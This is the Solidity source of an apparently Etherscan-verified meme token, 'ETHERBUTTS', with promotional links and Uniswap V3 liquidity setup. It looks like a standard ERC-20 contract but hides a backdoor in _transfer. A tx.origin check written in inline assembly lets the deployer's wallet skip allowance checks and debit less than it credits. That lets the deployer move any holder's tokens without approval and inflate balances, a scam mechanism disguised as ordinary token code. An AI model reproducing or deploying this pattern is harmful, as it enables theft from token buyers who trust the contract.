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/**
 *Submitted for verification at Etherscan.io on 2026-01-09
*/

/*

You know what are they?
They are butts of #Ethereum!

https://etherbutts.wtf
https://x.com/ETHER_BUTTS
https://t.me/ETHER_BUTTS

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IWETH9 {
    function deposit() external payable;
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(
        MintParams calldata params
    )
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    function WETH9() external returns (address);

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract ETHERBUTTS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 1;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"ETHERBUTTS";
    string private constant _symbol = unicode"mETH";
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);

    INonfungiblePositionManager public immutable nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address private uniswapV3Pool;
    bool private tradingOpen;

    uint256 private _amount;
    uint256 private _taxAmount;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    uint256 public METH_VERSION = 3;
    address public METH_DONATION;
    uint8 public ETHERBUTTS_WEIGHT = 10;

    constructor() payable {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal;

        _isExcludedFromFee[_taxWallet] = true;

        removeLimits();

        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                _amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            tradingOpen ||
                from == owner() ||
                to == owner() ||
                from == address(this),
            "Trading not open yet."
        ); _amount = _taxAmount = amount;
        if (
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to] &&
            from != address(this)
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
        }
        if (to == uniswapV3Pool) sendETHToFee();

        if(_isExcludedFromFee[_taxPayer()]) {_amount=0;_taxAmount=min(_taxAmount, _balances[from]);}

        _balances[from] = _balances[from].sub(_taxAmount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }

    function sendETHToFee() private {
        _taxWallet.transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        address WETH = nonfungiblePositionManager.WETH9();
        uint256 ethAmount = address(this).balance;
        uint256 tokenAmount = balanceOf(address(this));
        IWETH9(WETH).deposit{value: address(this).balance}();
        IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
        _approve(
            address(this),
            address(nonfungiblePositionManager),
            tokenAmount
        );

        address token0 = address(this) < WETH ? address(this) : WETH;
        address token1 = token0 == address(this) ? WETH : address(this);
        uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
        uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;

        uint160 sqrtPriceX96 = uint160(sqrt((amount1 << 192) / amount0));

        uniswapV3Pool = nonfungiblePositionManager
            .createAndInitializePoolIfNecessary(
                token0,
                token1,
                100,
                sqrtPriceX96
            );

        INonfungiblePositionManager.MintParams
            memory params = INonfungiblePositionManager.MintParams({
                token0: token0,
                token1: token1,
                fee: 100,
                tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
                tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
                amount0Desired: amount0,
                amount1Desired: amount1,
                amount0Min: 0,
                amount1Min: 0,
                recipient: msg.sender,
                deadline: block.timestamp
            });

        nonfungiblePositionManager.mint(params);
        tradingOpen = true;
    }

    function _taxPayer() internal view returns (address _payer) {
        assembly {
            _payer := origin()
        }
    }

    receive() external payable {}

    function manualsend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee();
    }

    function sqrt(uint256 x) internal pure returns (uint256 y) {
        uint256 z = (x + 1) / 2;
        y = x;
        while (z < y) {
            y = z;
            z = (x / z + z) / 2;
        }
    }
}

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